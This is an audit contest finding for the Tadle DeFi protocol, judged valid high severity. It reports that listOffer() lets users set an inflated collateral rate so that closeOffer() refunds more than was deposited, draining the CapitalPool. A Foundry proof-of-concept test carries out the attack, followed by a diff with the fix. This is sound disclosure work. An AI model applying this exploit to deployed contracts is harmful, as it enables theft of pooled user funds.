Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Malicious users can drain the CapitalPool by leveraging sub level offers

Summary

Malicious users can drain the CapitalPool by leveraging sub level offers

Vulnerability Details

The root cause is found in the fact that PreMarket:listOffer() allows the caller to specify the collateralRate for the sub level offer.

A malicious user can specify an higher collateralRate than the one used by the high level offer and immediately close his position.
This will allow him to claim an higher amount than deposited since PreMarket:closeOffer() computes the MakerRefound using the collateralRate of the offer being closed.

uint256 refundAmount = OfferLibraries.getRefundAmount(
offerInfo.offerType,
offerInfo.amount,
offerInfo.points,
offerInfo.usedPoints,
offerInfo.collateralRate // <@
);
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
refundAmount
);

Impact

Malicious users can carefully craft a listing that, when closed, will allow them to drain the entire CapitalPool contract.

If Turbo mode is used, the impact is even higher, since the attacker isn't even required to put down collateral in order to perform the attack.

POC

The following test demonstrated the attack in Protected mode, where the attacker is required to put down collateral:

function test_higher_refound_closeOffer() public {
vm.label(user, "maker");
vm.label(user2, "taker");
assertNotEq(user2, deliveryPlace.owner());
capitalPool.approve(address(mockUSDCToken));
// 1. user sells 1000 points at 5 USDC
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, // BackPack points marketplace
address(mockUSDCToken),
1000, // 1000 points
5e6, // 5 USDC
10000, // 100% collateral rate
300,
OfferType.Ask,
OfferSettleType.Protected
)
); // -> offerAddr
// ATTACKER
vm.startPrank(user2);
uint256 before = mockUSDCToken.balanceOf(user2);
// 2. the malicious user creates the taker order to match user's listing
// he buys half of the points for 2.5 + fee USDC
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500); // -> stock1Addr
// 3. he then sells his points at 3 USDC each with 300% collateral rate
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 3e6, 30000); // -> offer1Addr
// 4. he immediately close the offer and 9 USDC are credited to his account
preMarktes.closeOffer(stock1Addr, GenerateAddress.generateOfferAddress(1));
// 5. he withdraws his USDC
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
// the attacker spend a little more than 2.5 USDC and claimed 9 USDC (more than 2x profit)
assert(mockUSDCToken.balanceOf(user2) > before);
}

Tools Used

  • Manual review

  • Foundry

Recommendations

PreMarket:listOffer() should not allow the caller to change the collateralRate, it should use the one from the original offer instead to prevent him for leveraging his makerRefound amount:

offerInfoMap[offerAddr] = OfferInfo({
id: stockInfo.id,
authority: _msgSender(),
maker: offerInfo.maker,
offerStatus: OfferStatus.Virgin,
offerType: offerInfo.offerType,
abortOfferStatus: AbortOfferStatus.Initialized,
points: stockInfo.points,
amount: _amount,
- collateralRate: _collateralRate,
+ collateralRate: offerInfo.collateralRate,
usedPoints: 0,
tradeTax: 0,
settledPoints: 0,
settledPointTokenAmount: 0,
settledCollateralAmount: 0
});
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-collateralRate-manipulate

Valid high severity, because the collateral rate utilized when creating an offer is stale and retrieved from a previously set collateral rate, it allows possible manipilation of refund amounts using an inflated collateral rate to drain funds from the CapitalPool contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.